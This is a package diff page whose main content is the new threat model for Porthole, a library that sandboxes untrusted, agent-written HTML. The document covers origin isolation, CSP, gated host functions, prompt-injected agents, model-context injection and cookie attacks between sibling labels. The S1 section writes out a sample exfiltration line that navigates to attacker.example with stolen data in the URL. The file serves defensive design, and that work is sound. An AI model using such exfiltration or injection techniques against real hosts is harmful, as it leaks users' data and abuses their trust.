@botiverse/porthole 0.7.0 → 0.9.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +9 -2
- package/THIRD_PARTY_NOTICES.md +421 -0
- package/dist/annotate/types.d.ts +40 -4
- package/dist/annotate/types.js +6 -1
- package/dist/annotate/validate.d.ts +10 -0
- package/dist/annotate/validate.js +24 -1
- package/dist/bridge/bounded-text.d.ts +34 -0
- package/dist/bridge/bounded-text.js +188 -0
- package/dist/bridge/bridge.d.ts +25 -5
- package/dist/bridge/bridge.js +311 -73
- package/dist/bridge/json-data.d.ts +28 -0
- package/dist/bridge/json-data.js +86 -0
- package/dist/bridge/navigation.d.ts +5 -0
- package/dist/bridge/navigation.js +7 -0
- package/dist/bridge/refusal.js +1 -0
- package/dist/bridge/types.d.ts +32 -1
- package/dist/check/page-source.js +1 -1
- package/dist/check/page.js +2 -0
- package/dist/compile/compile.d.ts +6 -0
- package/dist/compile/compile.js +3 -1
- package/dist/compile/policy.d.ts +38 -2
- package/dist/compile/policy.js +122 -7
- package/dist/config/capabilities.d.ts +23 -4
- package/dist/config/capabilities.js +12 -2
- package/dist/config/schema.d.ts +11 -0
- package/dist/config/validate.d.ts +8 -2
- package/dist/config/validate.js +28 -6
- package/dist/config/warnings.d.ts +20 -0
- package/dist/config/warnings.js +25 -0
- package/dist/conformance/behavior.js +46 -1
- package/dist/conformance/cookies.d.ts +15 -0
- package/dist/conformance/cookies.js +80 -0
- package/dist/conformance/harness/page.d.ts +1 -0
- package/dist/conformance/harness/page.js +9 -2
- package/dist/conformance/harness-source.js +1 -1
- package/dist/conformance/host-kit.js +5 -1
- package/dist/conformance/index.d.ts +10 -0
- package/dist/conformance/limits.js +38 -1
- package/dist/conformance/runtime.js +10 -0
- package/dist/conformance/served.d.ts +2 -0
- package/dist/conformance/served.js +737 -4
- package/dist/files/paths.js +4 -0
- package/dist/guide/gates.d.ts +7 -1
- package/dist/guide/gates.js +12 -0
- package/dist/guide/guide.js +2 -2
- package/dist/guide/runtime.js +11 -3
- package/dist/host/create-host.js +81 -39
- package/dist/host/pages-of-set.d.ts +43 -0
- package/dist/host/pages-of-set.js +196 -0
- package/dist/host/types.d.ts +8 -1
- package/dist/index.d.ts +5 -4
- package/dist/index.js +3 -2
- package/dist/mcp/adapter.js +11 -15
- package/dist/node/index.d.ts +36 -4
- package/dist/node/index.js +402 -101
- package/dist/platform/types.d.ts +9 -0
- package/dist/platform/web.js +8 -0
- package/dist/presets/presets.d.ts +16 -8
- package/dist/presets/presets.js +39 -8
- package/dist/protocol/live-data.d.ts +6 -2
- package/dist/protocol/live-data.js +20 -1
- package/dist/protocol/mcp-apps.d.ts +13 -2
- package/dist/protocol/mcp-apps.js +10 -2
- package/dist/protocol/message-text.d.ts +8 -0
- package/dist/protocol/message-text.js +29 -0
- package/dist/protocol/runtime-calls.js +3 -0
- package/dist/protocol/shell-adapter.js +16 -22
- package/dist/react/context-notice.d.ts +32 -0
- package/dist/react/context-notice.js +28 -0
- package/dist/react/dialog.js +62 -18
- package/dist/react/frame.d.ts +18 -3
- package/dist/react/frame.js +79 -2
- package/dist/react/index.d.ts +2 -1
- package/dist/react/index.js +2 -1
- package/dist/runtime/contract.d.ts +9 -1
- package/dist/runtime/contract.js +31 -2
- package/dist/runtime/db.d.ts +41 -6
- package/dist/runtime/db.js +120 -16
- package/dist/runtime/declaration.d.ts +15 -1
- package/dist/runtime/declaration.js +184 -87
- package/dist/runtime/requests.js +27 -11
- package/dist/runtime/types.generated.js +1 -1
- package/dist/server/files.d.ts +5 -0
- package/dist/server/files.js +22 -7
- package/dist/server/host.d.ts +18 -1
- package/dist/server/host.js +132 -2
- package/dist/server/index.d.ts +1 -1
- package/dist/server/index.js +1 -1
- package/dist/server/peer.d.ts +4 -0
- package/dist/server/peer.js +19 -0
- package/dist/server/proxy.d.ts +6 -0
- package/dist/server/proxy.js +12 -3
- package/dist/server/server.js +113 -26
- package/dist/server/types.d.ts +6 -3
- package/dist/shell/annotate.d.ts +7 -2
- package/dist/shell/annotate.js +233 -15
- package/dist/shell/document.d.ts +8 -0
- package/dist/shell/document.js +3 -0
- package/dist/shell/runtime.js +361 -14
- package/docs/ADOPTING.md +119 -14
- package/docs/ARCHITECTURE.md +15 -4
- package/docs/DECISIONS.md +1610 -9
- package/docs/DESIGN.md +114 -30
- package/docs/THREAT_MODEL.md +652 -0
- package/package.json +14 -3
- package/src/annotate/types.ts +37 -5
- package/src/annotate/validate.ts +30 -1
- package/src/bridge/bounded-text.ts +240 -0
- package/src/bridge/bridge.ts +373 -84
- package/src/bridge/json-data.ts +95 -0
- package/src/bridge/navigation.ts +10 -0
- package/src/bridge/refusal.ts +1 -0
- package/src/bridge/types.ts +30 -1
- package/src/check/page.ts +2 -0
- package/src/compile/compile.ts +9 -1
- package/src/compile/policy.ts +130 -7
- package/src/config/capabilities.ts +22 -3
- package/src/config/schema.ts +11 -0
- package/src/config/validate.ts +43 -5
- package/src/config/warnings.ts +42 -0
- package/src/conformance/behavior.ts +54 -1
- package/src/conformance/cookies.ts +93 -0
- package/src/conformance/harness/page.ts +11 -2
- package/src/conformance/host-kit.ts +10 -1
- package/src/conformance/index.ts +10 -0
- package/src/conformance/limits.ts +39 -1
- package/src/conformance/runtime.ts +21 -0
- package/src/conformance/served.ts +888 -4
- package/src/files/paths.ts +4 -0
- package/src/guide/gates.ts +13 -1
- package/src/guide/guide.ts +3 -3
- package/src/guide/runtime.ts +12 -3
- package/src/host/create-host.ts +88 -38
- package/src/host/pages-of-set.ts +226 -0
- package/src/host/types.ts +15 -1
- package/src/index.ts +5 -0
- package/src/mcp/adapter.ts +16 -20
- package/src/node/index.ts +507 -116
- package/src/platform/types.ts +6 -0
- package/src/platform/web.ts +10 -0
- package/src/presets/presets.ts +60 -17
- package/src/protocol/live-data.ts +31 -3
- package/src/protocol/mcp-apps.ts +11 -2
- package/src/protocol/message-text.ts +36 -0
- package/src/protocol/runtime-calls.ts +3 -0
- package/src/protocol/shell-adapter.ts +27 -23
- package/src/react/context-notice.tsx +95 -0
- package/src/react/dialog.tsx +77 -17
- package/src/react/frame.tsx +107 -2
- package/src/react/index.ts +8 -1
- package/src/runtime/contract.ts +36 -2
- package/src/runtime/db.ts +140 -20
- package/src/runtime/declaration.ts +227 -89
- package/src/runtime/requests.ts +27 -11
- package/src/runtime/types.generated.ts +1 -1
- package/src/server/files.ts +29 -11
- package/src/server/host.ts +158 -3
- package/src/server/index.ts +1 -0
- package/src/server/peer.ts +21 -0
- package/src/server/proxy.ts +13 -3
- package/src/server/server.ts +139 -36
- package/src/server/types.ts +6 -3
- package/src/shell/annotate.ts +233 -15
- package/src/shell/document.ts +8 -0
- package/src/shell/runtime.ts +361 -14
- package/types/runtime/v1/context.d.ts +13 -2
|
@@ -0,0 +1,652 @@
|
|
|
1
|
+
# Threat model
|
|
2
|
+
|
|
3
|
+
What Porthole protects, from whom, and where that protection ends. For each way of using it
|
|
4
|
+
(S1–S7), it says what Porthole guarantees, what the host must do itself, and what is not
|
|
5
|
+
guaranteed. [ADOPTING.md](ADOPTING.md) says how to set each one up, and
|
|
6
|
+
[DESIGN.md](DESIGN.md) lists every defense with the test that proves it.
|
|
7
|
+
|
|
8
|
+
**Status.** This describes Porthole 0.9.0 (2026-10-20). A review on 2026-10-19 found gaps, and every
|
|
9
|
+
decision it led to has merged but P096. A note **open until P096** means the gap exists in 0.9.0 and
|
|
10
|
+
P096 is its planned fix; once it merges, the note becomes a guarantee. [§8](#8-fixes-in-flight)
|
|
11
|
+
lists the decisions.
|
|
12
|
+
|
|
13
|
+
## 1. Two layers
|
|
14
|
+
|
|
15
|
+
Porthole has two layers, and most hosts need only the first.
|
|
16
|
+
|
|
17
|
+
- **The display layer** shows untrusted HTML. It puts the content on an origin that isn't the
|
|
18
|
+
host's, closes its network, runs a shell in its frame, gates the few host functions the content
|
|
19
|
+
may call (send a prompt, open a link, copy text, read the host's data), and writes the agent's
|
|
20
|
+
manual, all from one config. Presets: `inlineWidget`, `liveWidget`, `artifact`, `mcpApp`,
|
|
21
|
+
`url`.
|
|
22
|
+
- **The app runtime** is optional, and off unless a config sets `runtime: "1"`. It lets a page be
|
|
23
|
+
a small app: through `porthole.use(name)` it reaches the host's services (`user`, `comments`,
|
|
24
|
+
`artifact`, `assets`, `db`) for what it declared and what its viewer's level allows. It brings
|
|
25
|
+
the host's backend into the picture: who may call what, per version, revocation, and each
|
|
26
|
+
person's data.
|
|
27
|
+
|
|
28
|
+
A host that only shows content can skip the app runtime, and the parts of this document about it.
|
|
29
|
+
[§7](#7-the-display-layer-and-the-app-runtime) says what each layer guarantees.
|
|
30
|
+
|
|
31
|
+
## 2. What is protected
|
|
32
|
+
|
|
33
|
+
| Asset | What an attacker wants from it |
|
|
34
|
+
| --- | --- |
|
|
35
|
+
| **The host** | Its DOM, cookies, session and origin: to read the app's data or act as the person in it. |
|
|
36
|
+
| **The person's data** | What the content shows them, and what they type into it. |
|
|
37
|
+
| **The model and its tools** | The model's context, and the power to send prompts and call tools in the person's name. |
|
|
38
|
+
| **The person's trust** | A convincing fake (a sign-in form, an "approve" button) that gets them to act. |
|
|
39
|
+
| **Availability** | Out of scope in the viewer's browser ([§5](#5-out-of-scope)). |
|
|
40
|
+
|
|
41
|
+
## 3. Who attacks
|
|
42
|
+
|
|
43
|
+
| | Attacker | Their code runs as | Scenarios |
|
|
44
|
+
| --- | --- | --- | --- |
|
|
45
|
+
| (a) | An agent steered by prompt injection, writing hostile content | the content of any display it writes | S1–S4 |
|
|
46
|
+
| (b) | A third-party MCP server | its MCP Apps view | S5 |
|
|
47
|
+
| (c) | The author of a page others open: a public link's author against its visitors, or a page on a sibling label of the same content domain | a served page | S3, S4, S6 |
|
|
48
|
+
| (d) | The app being previewed | an app on a content origin (url mode) | S6 |
|
|
49
|
+
| (e) | Other content on the same page | a sibling frame | S7, and S2 |
|
|
50
|
+
|
|
51
|
+
The agent is itself a trust boundary. What it writes is untrusted, and a library it loads from an
|
|
52
|
+
allowed CDN is no more trusted than its own code: the manual's advice to pin exact versions helps
|
|
53
|
+
the agent, but it is not a wall.
|
|
54
|
+
|
|
55
|
+
## 4. Two lines of defense
|
|
56
|
+
|
|
57
|
+
1. **Against attacks on the host: origin isolation.** Content runs on an origin that is never the
|
|
58
|
+
host's: an opaque one (a `srcdoc` frame with `sandbox="allow-scripts"` and nothing else), or
|
|
59
|
+
one of its own on a separate registrable domain (served pages). Same-origin policy then denies
|
|
60
|
+
it the host's DOM, storage, cookies and credentials, and nothing secret of the host's is sent
|
|
61
|
+
into the frame.
|
|
62
|
+
2. **Against leaking and deceiving: closed egress, gates, and approvals outside the frame.**
|
|
63
|
+
Isolation doesn't stop content from sending out what it was given, or from drawing a fake. So:
|
|
64
|
+
- its network is closed by default: the frame's CSP, the shell's defenses for channels a CSP
|
|
65
|
+
doesn't cover (WebRTC, nested frames, resource hints), and the embedding page's `frame-src`
|
|
66
|
+
against the frame navigating itself away;
|
|
67
|
+
- everything beyond drawing is a host function the config declares, behind gates: a user
|
|
68
|
+
gesture, a person's confirmation, consent, a rate;
|
|
69
|
+
- the host draws its confirmations and consent outside the frame, where content can't draw over
|
|
70
|
+
them.
|
|
71
|
+
|
|
72
|
+
The app runtime adds a third: **the host's API is the wall for its data.** The bridge refuses a
|
|
73
|
+
call the page didn't declare (`undeclared`), or that the viewer's level doesn't allow, before any
|
|
74
|
+
handler runs. The names a page declares in `data` hold with a viewer and without one (P094). The
|
|
75
|
+
host's API checks again, since a call that reaches the API some other way can claim any
|
|
76
|
+
viewer and any declaration.
|
|
77
|
+
|
|
78
|
+
The leak suite attempts each channel in DESIGN.md's table from inside the content, on Chromium,
|
|
79
|
+
WebKit and Firefox, and most defenses have a negative control that takes the defense out to show
|
|
80
|
+
its probes then fail (DESIGN.md § "Egress hardening, each with its test"). CI runs the negative
|
|
81
|
+
controls of the runtime only, and its runner can count a control that didn't run as passed (open
|
|
82
|
+
until P096).
|
|
83
|
+
|
|
84
|
+
## 5. Out of scope
|
|
85
|
+
|
|
86
|
+
Porthole does not protect against these.
|
|
87
|
+
|
|
88
|
+
- **Availability in the viewer's browser.** Content can loop, allocate without bound, or fill the
|
|
89
|
+
content domain's cookies. Porthole has no watchdog: nothing but the load timeout watches a
|
|
90
|
+
frame, nothing unloads a frame that stops answering, and nothing limits its CPU or memory. An
|
|
91
|
+
opaque frame may share the host page's process (the browser decides), so a loop in it can stall
|
|
92
|
+
the host's tab; a served frame is on another site, which browsers with site isolation put in a
|
|
93
|
+
process of its own. In scope, by contrast: a page or a request that can crash the host's server,
|
|
94
|
+
and a message from content that makes the host's page do unbounded work (SECURITY.md). Through
|
|
95
|
+
Porthole's Node adapter no request ends the process, and on any runtime the issue endpoint reads
|
|
96
|
+
at most 64 KiB of a body (P092). What content sends is read after its gate, into bounded text,
|
|
97
|
+
and nothing it sends throws out of an adapter (P095).
|
|
98
|
+
- **Browser bugs, and what the leak suite doesn't run on.** The walls are the browser's own (the
|
|
99
|
+
sandbox, CSP, same-origin policy, site isolation): a bug in them is outside Porthole. The suite
|
|
100
|
+
runs Chromium, WebKit and Firefox through Playwright; other engines, versions and embedded
|
|
101
|
+
WebViews are untested. Side channels (timing, Spectre-class) are out too: an opaque frame that
|
|
102
|
+
may share the host's process can learn about it that way; domain mode puts content on another
|
|
103
|
+
site, which browsers with site isolation give its own process.
|
|
104
|
+
- **Markdown-image exfiltration in chat renderers** (the EchoLeak and CamoLeak class: a model's
|
|
105
|
+
reply holds `` and the chat loads it). That is the
|
|
106
|
+
chat's own rendering of model text. Porthole's walls apply to HTML handed to a display.
|
|
107
|
+
- **Deceptive content.** Content may draw anything in its frame, a fake sign-in form included.
|
|
108
|
+
Porthole limits where what is typed into it can go and keeps the host's approvals outside the
|
|
109
|
+
frame; it doesn't judge what content shows.
|
|
110
|
+
- **Wrong results.** A chart can plot the wrong numbers, and a report can say false things.
|
|
111
|
+
- **Malicious prompts.** A gated `sendPrompt` hands the host's confirm function the whole text (the
|
|
112
|
+
default dialog shows all of it); whether that text is hostile is not Porthole's call. Nor is text
|
|
113
|
+
content puts in the model's context (S5).
|
|
114
|
+
- **The sense of a confirmed action.** A confirmation is given the call and its arguments. Whether
|
|
115
|
+
doing it is wise is the person's decision, and what the host's handler then does is the host's.
|
|
116
|
+
|
|
117
|
+
## 6. Scenarios
|
|
118
|
+
|
|
119
|
+
| | Use | Preset and mode | Attackers | Use it today when |
|
|
120
|
+
| --- | --- | --- | --- | --- |
|
|
121
|
+
| [S1](#s1-inline-widgets-in-a-conversation) | Inline widgets in a conversation | `inlineWidget`, opaque | (a) | every page sends `embedderCsp` |
|
|
122
|
+
| [S2](#s2-live-widgets-content-that-reads-the-hosts-data) | Live widgets that read the host's data | `liveWidget` | (a), (e) | as S1, and the page follows S7 |
|
|
123
|
+
| [S3](#s3-private-artifacts) | Private artifacts | `artifact`, domain | (a), (c) | the content domain is the host's alone, the secret is random, `authorize` revokes |
|
|
124
|
+
| [S4](#s4-public-links-and-pages-that-are-apps) | Public links, and pages that are apps | `artifact`, domain, public grants; `runtime` | (a), (c) | the host handles abuse |
|
|
125
|
+
| [S5](#s5-third-party-mcp-apps) | Third-party MCP Apps | `mcpApp` | (b) | the host shows a view's domains |
|
|
126
|
+
| [S6](#s6-previews-of-a-running-app) | Previews of a running app | `url` | (d), (c) | the code is the host's own |
|
|
127
|
+
| [S7](#s7-several-displays-on-one-page) | Several displays on one page | any | (e) | the page follows the composition rule |
|
|
128
|
+
|
|
129
|
+
### What every host must do
|
|
130
|
+
|
|
131
|
+
Whatever the use:
|
|
132
|
+
|
|
133
|
+
- Send `displays.embedderCsp(…)` (the page's `frame-src`) on every page that shows displays, and
|
|
134
|
+
run `defineHostConformance` against the real page in CI (S1 says why).
|
|
135
|
+
- Keep the default gates. A capability's `gates` in a config replace its defaults whole, even
|
|
136
|
+
`[]`; a preset's `options.capabilities` entry replaces the preset's whole entry, gates included
|
|
137
|
+
(`liveWidget({ capabilities: { readData: {} } })` drops its consent).
|
|
138
|
+
- Give the confirmations and the consent it draws itself the default dialog's protections: drawn
|
|
139
|
+
on the host's page outside every frame, showing the call's whole effect, Cancel focused, and the
|
|
140
|
+
accept button ignoring presses for 500 ms after it opens, so a click meant for the content can't
|
|
141
|
+
land on it. The React binding's dialog does all of this for confirmations; consent is always the
|
|
142
|
+
host's own UI. A copy notice of its own shows what went on the clipboard (S1).
|
|
143
|
+
- Show the text content reports (its errors, a blocked navigation's address, an annotation's
|
|
144
|
+
quoted text) only as text, never as HTML.
|
|
145
|
+
- Take what the frame reports about annotations as UI hints (where to draw, what to open), never
|
|
146
|
+
as permissions, and put nothing in a mark the page may not know (§7).
|
|
147
|
+
- List every app origin in `appOrigins` (`hostOrigins` in `/server`): only those may frame content,
|
|
148
|
+
and only those are checked against the content domain for a shared site.
|
|
149
|
+
- Under the app runtime, run `defineRuntimeConformance` with `api` in CI (§7).
|
|
150
|
+
|
|
151
|
+
### S1. Inline widgets in a conversation
|
|
152
|
+
|
|
153
|
+
`presets.inlineWidget`: a card the agent wrote, drawn in an opaque `srcdoc` frame as it streams.
|
|
154
|
+
|
|
155
|
+
**Porthole guarantees**
|
|
156
|
+
|
|
157
|
+
- An opaque origin: `sandbox="allow-scripts"` only, so no forms, popups, downloads, top or parent
|
|
158
|
+
navigation, and nothing of the host's DOM, storage or cookies.
|
|
159
|
+
- A closed network. The frame's CSP has `default-src 'none'`, `connect-src 'none'` (until a
|
|
160
|
+
capability or the egress config names an origin), `form-action 'none'`, `frame-src 'none'`,
|
|
161
|
+
`base-uri 'none'`, `object-src 'none'` and `webrtc 'block'`, and no `'self'` anywhere. Before
|
|
162
|
+
content runs, the shell removes the `RTC*` constructors, drops nested frames, plugins and
|
|
163
|
+
resource hints as they are inserted, and makes `document.open` and `write` throw.
|
|
164
|
+
- While it streams, drafts are drawn inert (no scripts, handlers or navigation); the whole runs
|
|
165
|
+
once.
|
|
166
|
+
- Only the host functions the config declares exist, each behind its default gates:
|
|
167
|
+
|
|
168
|
+
| Host function | Default gates |
|
|
169
|
+
| --- | --- |
|
|
170
|
+
| `sendPrompt` | a user gesture, then the host's confirmation, given the whole text |
|
|
171
|
+
| `openLink` | a gesture and a confirmation; http(s) only, no credentials in the URL |
|
|
172
|
+
| `downloadFile` | a gesture and a confirmation |
|
|
173
|
+
| `copyText` | a gesture, 30 a minute; the host writes the clipboard |
|
|
174
|
+
| `callTool` | a confirmation, 30 a minute |
|
|
175
|
+
| `setModelContext` | 30 a minute, then the host's `show`: the person sees the whole update first |
|
|
176
|
+
| `readData`, `subscribeData` | 120 and 60 a minute (`liveWidget` adds consent) |
|
|
177
|
+
| `reportError` | 10 a minute |
|
|
178
|
+
|
|
179
|
+
- A confirmation needs the host's confirm function: without one, the call is refused (consent and
|
|
180
|
+
`show` likewise). Three declined confirmations in a row mute the display's confirm-gated calls,
|
|
181
|
+
and at most 10 confirmations wait per display: more are refused (P095).
|
|
182
|
+
- Model context (`setModelContext`) goes only once the host's `show` has shown it, after every
|
|
183
|
+
other gate. An update is text blocks and plain JSON, at most 20,000 characters, with no
|
|
184
|
+
invisible characters, and the manual tells the agent it is the content's unconfirmed text,
|
|
185
|
+
never instructions (P100).
|
|
186
|
+
- The shell takes messages only from its parent window, and the host only from its frame's
|
|
187
|
+
window and origin; both validate every message.
|
|
188
|
+
- A frame that navigates is started again, at most three times; the next navigation stops the
|
|
189
|
+
display. A display of a file set may hold such a frame for up to 2 s first, in case it was a page
|
|
190
|
+
of its own set, delivering nothing either way while it waits (P098).
|
|
191
|
+
|
|
192
|
+
**The host must**
|
|
193
|
+
|
|
194
|
+
- Send the page's `frame-src` (`displays.embedderCsp(…)`; `frame-src 'none'` where all displays
|
|
195
|
+
are opaque). An opaque frame can navigate itself away with data in the URL
|
|
196
|
+
(`location = "https://attacker.example/?" + data`): its own CSP can't stop that, and the shell
|
|
197
|
+
gets no navigation events in an opaque origin. The embedding page's `frame-src` is the only
|
|
198
|
+
wall.
|
|
199
|
+
- Run `defineHostConformance` against its real page in CI. It runs the leak probes there, the
|
|
200
|
+
self-navigation ones included, and it is the only check that the page sends that CSP: nothing
|
|
201
|
+
checks it when a display mounts.
|
|
202
|
+
- Keep `anyHttps` off inline widgets: an image URL is a way out (P059).
|
|
203
|
+
- Show what a copy put on the clipboard. The React binding's toast shows at most its first four
|
|
204
|
+
lines and 280 characters; a host's own `copyText` handler replaces the toast, and must show it
|
|
205
|
+
itself.
|
|
206
|
+
|
|
207
|
+
**Not guaranteed**
|
|
208
|
+
|
|
209
|
+
- On a page without that `frame-src`, a widget can send out whatever it was shown.
|
|
210
|
+
- `copyText` needs only a gesture, not a confirmation: a widget can put text the person didn't
|
|
211
|
+
choose on their clipboard when they click in it (pastejacking). The notice above is what tells
|
|
212
|
+
them.
|
|
213
|
+
- Shown isn't read: the person may not look at a model-context update, or not see an injection
|
|
214
|
+
in it for what it is, and characters that draw as a blank (a no-break space, the wide spaces)
|
|
215
|
+
pass, a few bits each, bounded by the length limit (P100, accepted). A host that opts out of
|
|
216
|
+
`show` (`withoutShow: true`) lets content write into the model's turns text nobody saw (S5).
|
|
217
|
+
- The host's gesture check reads its own page's `navigator.userActivation` (in an engine without
|
|
218
|
+
it, the check passes). A gesture shows a moment of intent, not consent: the person may have
|
|
219
|
+
clicked the host a moment before.
|
|
220
|
+
- Availability ([§5](#5-out-of-scope)).
|
|
221
|
+
|
|
222
|
+
### S2. Live widgets: content that reads the host's data
|
|
223
|
+
|
|
224
|
+
`presets.liveWidget`: an inline widget that shows the host's data, current, as the viewer may see
|
|
225
|
+
it.
|
|
226
|
+
|
|
227
|
+
**Porthole guarantees**, with the preset's defaults (see the host's duties below for what undoes
|
|
228
|
+
them):
|
|
229
|
+
|
|
230
|
+
- No network of its own: the preset refuses an `egress` option and a capability's own `connect`
|
|
231
|
+
or `resource` origins, and the config it returns is frozen (P103). Served, the only scripts it
|
|
232
|
+
may load are Porthole's Chart.js and D3, from its own origin (`/__porthole/lib/`).
|
|
233
|
+
- Data reaches it only through the host: `readData` and `subscribeData`, each behind `consent`
|
|
234
|
+
(asked once per display; without a consent function every data call is refused) and a rate (120
|
|
235
|
+
reads and 60 subscriptions a minute).
|
|
236
|
+
- A refusal tells the widget why (`data: { code, message }`).
|
|
237
|
+
- A result the host pushes with `changed(result)` answers a later read only past `readData`'s own
|
|
238
|
+
gates, as any read does (P094).
|
|
239
|
+
- Served, the shell cancels any navigation of the frame to another document, other than a page of
|
|
240
|
+
its own file set, and tells the host (`navigationBlocked`, where `reportError` is declared).
|
|
241
|
+
|
|
242
|
+
**The host must**
|
|
243
|
+
|
|
244
|
+
- Decide in its handlers what a URI may name, with the viewer's rights: the URI is the content's
|
|
245
|
+
word.
|
|
246
|
+
- Ask for consent in its own UI, and keep the answer per viewer and widget.
|
|
247
|
+
- Send the page's `frame-src`, and show opaque live widgets only on pages that frame no content
|
|
248
|
+
origins (an opaque frame's only wall against navigating away is that `frame-src`).
|
|
249
|
+
- Not build a config of its own from the preset's (`{ ...presets.liveWidget(), egress }`, a
|
|
250
|
+
capability with origins): that config isn't the preset, and opens what it names.
|
|
251
|
+
- Not pass `readData` or `subscribeData` in `options.capabilities` without their gates: an entry
|
|
252
|
+
there replaces the preset's, consent included.
|
|
253
|
+
- Follow the composition rule (S7): no url-mode or `anyHttps` displays on the same page.
|
|
254
|
+
|
|
255
|
+
**Not guaranteed**
|
|
256
|
+
|
|
257
|
+
- What a neighbouring frame does with data handed to it (S7).
|
|
258
|
+
- In an engine without the Navigation API, a served frame's navigation falls back to the page's
|
|
259
|
+
`frame-src`: outside sites stay shut, other content origins don't (P079).
|
|
260
|
+
- `LIBRARY_CDNS` displays are allowed on the same page (ADOPTING.md), but they reach nine
|
|
261
|
+
origins: fetches, scripts, styles, fonts and images to four package CDNs (cdnjs, jsDelivr,
|
|
262
|
+
unpkg, esm.sh), and scripts, styles or fonts from five more (Google Fonts' two, Tailwind's,
|
|
263
|
+
jQuery's and Plotly's). The path of every such request is a narrow channel out, read by that
|
|
264
|
+
CDN's operator (P048). Keep highly sensitive data off pages with them.
|
|
265
|
+
|
|
266
|
+
### S3. Private artifacts
|
|
267
|
+
|
|
268
|
+
`presets.artifact` with `isolation: "domain"`, served by the host kit to a signed-in viewer.
|
|
269
|
+
|
|
270
|
+
Terms used below: a page's **clean address** is its address on its own content origin, with no
|
|
271
|
+
ticket in it, the one a person opens in a tab or shares (a path on `<label>.<content domain>`). A
|
|
272
|
+
framed page's **sealed files address** is `/__porthole/f/<sealed>/`: the frame's session,
|
|
273
|
+
encrypted into the path, since WebKit keeps no cookie in a frame (P083).
|
|
274
|
+
|
|
275
|
+
**Porthole guarantees**
|
|
276
|
+
|
|
277
|
+
- An origin per storage scope on the content domain, by default a label made from an HMAC of the
|
|
278
|
+
scope under a key derived from the host's secret (120 bits). A label is an address, not a
|
|
279
|
+
secret: a host may name labels itself (`prefixedName`), and access is the ticket's and the
|
|
280
|
+
cookie's job.
|
|
281
|
+
- `createContentHost` refuses a content domain that holds an app origin or may share a site with
|
|
282
|
+
one (`ContentDomainError`), and a served mount refuses a content origin same-site with the app.
|
|
283
|
+
With `health` configured, frames fall back to opaque while the content domain doesn't answer.
|
|
284
|
+
- Access: the host decides, Porthole carries the decision. A ticket of 160 random bits, stored only
|
|
285
|
+
as a hash, used once, good for 60 seconds by default and 600 at most, becomes a signed cookie of
|
|
286
|
+
that origin and instance: `HttpOnly`; `__Host-` under https; `Secure` under https and always in
|
|
287
|
+
a frame; in a frame `SameSite=None; Partitioned`, in a tab `Lax`.
|
|
288
|
+
- Only cookies Porthole set are read as its own: under https only `__Host-porthole-` names, which
|
|
289
|
+
no other label can set; the entered mark names its label. A session names its scope, signed, so
|
|
290
|
+
another label's session is never read as this one's, under https or on loopback (P101).
|
|
291
|
+
- Pages, files and status pages carry their CSP in headers and `X-Robots-Tag: noindex`, and
|
|
292
|
+
`frame-ancestors` names the app's origins only.
|
|
293
|
+
- Files: from the version's manifest only, typed by Porthole's table, `nosniff`; files other than
|
|
294
|
+
pages are `Cross-Origin-Resource-Policy: same-origin`; a file set never registers a service
|
|
295
|
+
worker; a page's CSP opens its own version's path, not its whole origin.
|
|
296
|
+
- With a per-request check (`authorize`), the host decides again on every request; a deny is a
|
|
297
|
+
403 that says `denied`.
|
|
298
|
+
|
|
299
|
+
**The host must**
|
|
300
|
+
|
|
301
|
+
- Use the content domain for nothing else, and put it on the Public Suffix List when it can
|
|
302
|
+
(P047).
|
|
303
|
+
- Give a secret of at least 32 random bytes (`npx porthole secret`). Porthole checks only its
|
|
304
|
+
length, and where `health` is configured the health route answers with a value derived from it,
|
|
305
|
+
so a guessable secret can be tested offline.
|
|
306
|
+
- Give a per-request check (`authorize`) to revoke: sessions are signed and stateless, so without
|
|
307
|
+
it a cookie is good for its whole life (an hour by default, up to 30 days). Leave its answers
|
|
308
|
+
uncached (the default; `authorizeTtlSeconds` in the host kit) or call `content.forget(…)` when
|
|
309
|
+
revoking, or a cached answer holds for up to that long.
|
|
310
|
+
- Send the page's `frame-src`.
|
|
311
|
+
|
|
312
|
+
**Not guaranteed**
|
|
313
|
+
|
|
314
|
+
- Until the content domain is on the PSL, its labels are same-site with each other (P047), so a
|
|
315
|
+
page on one label can attack another (c). A domain-mode page has `allow-same-origin`, so it can
|
|
316
|
+
set cookies for the whole content domain (in a frame, within what the browser allows a
|
|
317
|
+
third-party frame). `__Host-` keeps them off its sessions' cookies, but:
|
|
318
|
+
- on plain http (loopback dev only) the names have no prefix (WebKit keeps no `Secure` cookie
|
|
319
|
+
on a tab there), so a page can plant a copy of a label's own session or entry nonce, for
|
|
320
|
+
whoever hands it one: they are `HttpOnly` and never sent into a frame (P101);
|
|
321
|
+
- in browsers that refuse no nameless cookie (older than RFC 6265bis), a page can plant a copy
|
|
322
|
+
of a session it holds as `=__Host-porthole-…`; siblings can overflow the cookie jar or the
|
|
323
|
+
header size (denial of service only);
|
|
324
|
+
- enough large cookies make every request from that browser to the content domain too large to
|
|
325
|
+
serve ([§5](#5-out-of-scope)).
|
|
326
|
+
- A sealed files address is a bearer credential for its version's files until the session ends
|
|
327
|
+
(P083): anyone holding it can load them. It opens on its own for its first hour, then only for
|
|
328
|
+
the page's own loads (`Sec-Fetch-Site: same-origin`), which a client outside a browser can claim.
|
|
329
|
+
- A revocation reaches the next request. It doesn't reach a page already running, an open
|
|
330
|
+
WebSocket, pinned files the browser cached (immutable for a year), or assets in bearer mode
|
|
331
|
+
(§7).
|
|
332
|
+
|
|
333
|
+
### S4. Public links, and pages that are apps
|
|
334
|
+
|
|
335
|
+
A served artifact anyone with its link may open (the host's `access` returns
|
|
336
|
+
`{ anonymous: true }`), possibly under the app runtime. It is the riskiest use: the author may be
|
|
337
|
+
the attacker (c), and its readers are strangers.
|
|
338
|
+
|
|
339
|
+
**Porthole guarantees**
|
|
340
|
+
|
|
341
|
+
- A public grant opens documents, never url-mode apps.
|
|
342
|
+
- A public grant without a `level` has no viewer. Under a runtime, such a page is refused the
|
|
343
|
+
runtime's own host functions (`user`, `comments`, `artifact`, `assets`, `db`) and every method
|
|
344
|
+
above `view`; with a declaration, it reads only the `data` names it declared (P094; a `data`
|
|
345
|
+
without a `resources` list names them all).
|
|
346
|
+
- The page is on a site that isn't the host's (its sibling labels share one until the content
|
|
347
|
+
domain is on the PSL, S3); a label is one DNS label, never of the form IDNA reserves (`xn--`),
|
|
348
|
+
so it is never punycode for another name; pages say `noindex`; a file of a type Porthole
|
|
349
|
+
doesn't know is served as a download.
|
|
